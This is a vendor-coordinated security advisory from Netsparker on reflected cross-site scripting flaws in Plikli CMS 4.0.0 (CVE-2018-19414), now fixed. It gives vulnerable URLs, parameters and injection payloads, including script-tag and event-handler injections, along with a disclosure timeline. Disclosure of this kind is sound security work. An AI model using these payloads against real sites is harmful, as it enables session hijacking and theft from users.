Information
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Advisory by Netsparker
Name: Cross-site Scripting Vulnerabilities in Plikli CMS
Affected Software: Plikli
Affected Versions: 4.0.0
Homepage: https://www.plikli.com/
Vulnerability: Cross-site Scripting
Severity: High
Status: Fixed
CVE-ID: CVE-2018-19414
Netsparker Advisory Reference: NS-18-030

Technical Details
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Cross-site Scripting

URL  : http://NSAppTest/plikli/groups.php?view=search&keyword='+netsparker(0x012CB7)+'  
Proof URL : http://NSAppTest/plikli/groups.php?view=search&keyword='+alert(0x012CB7)+'  
Parameter Name : keyword
Parameter Type  : GET
Attack Pattern  : %27%2bnetsparker(0x012CB7)%2b%27  

URL  : http://NSAppTest/plikli/login.php?return=/ScanApp/plikli/  
Parameter Name  : username
Parameter Type  : POST
Attack Pattern  : x%22+onmouseover%3dnetsparker(0x011C31)+x%3d%22  

URL  : http://NSAppTest/plikli/search.php?search=&scomments=1&stags=1&suser=1&date=</title><scRipt>netsparker(0x01608A)</scRipt>&date_to=&adv=1&advancesearch=Search &slink=3&scategory=3&sgroup=3&status=all  
Parameter Name  : date
Parameter Type  : GET
Attack Pattern  : %3c%2ftitle%3e%3cscRipt%3enetsparker(0x01608A)%3c%2fscRipt%3e

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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28th June 2018 - First Contact
- Vendor Fixed
4th December 2018- Advisory Released

Credits & Authors
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These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.

About Netsparker
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Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.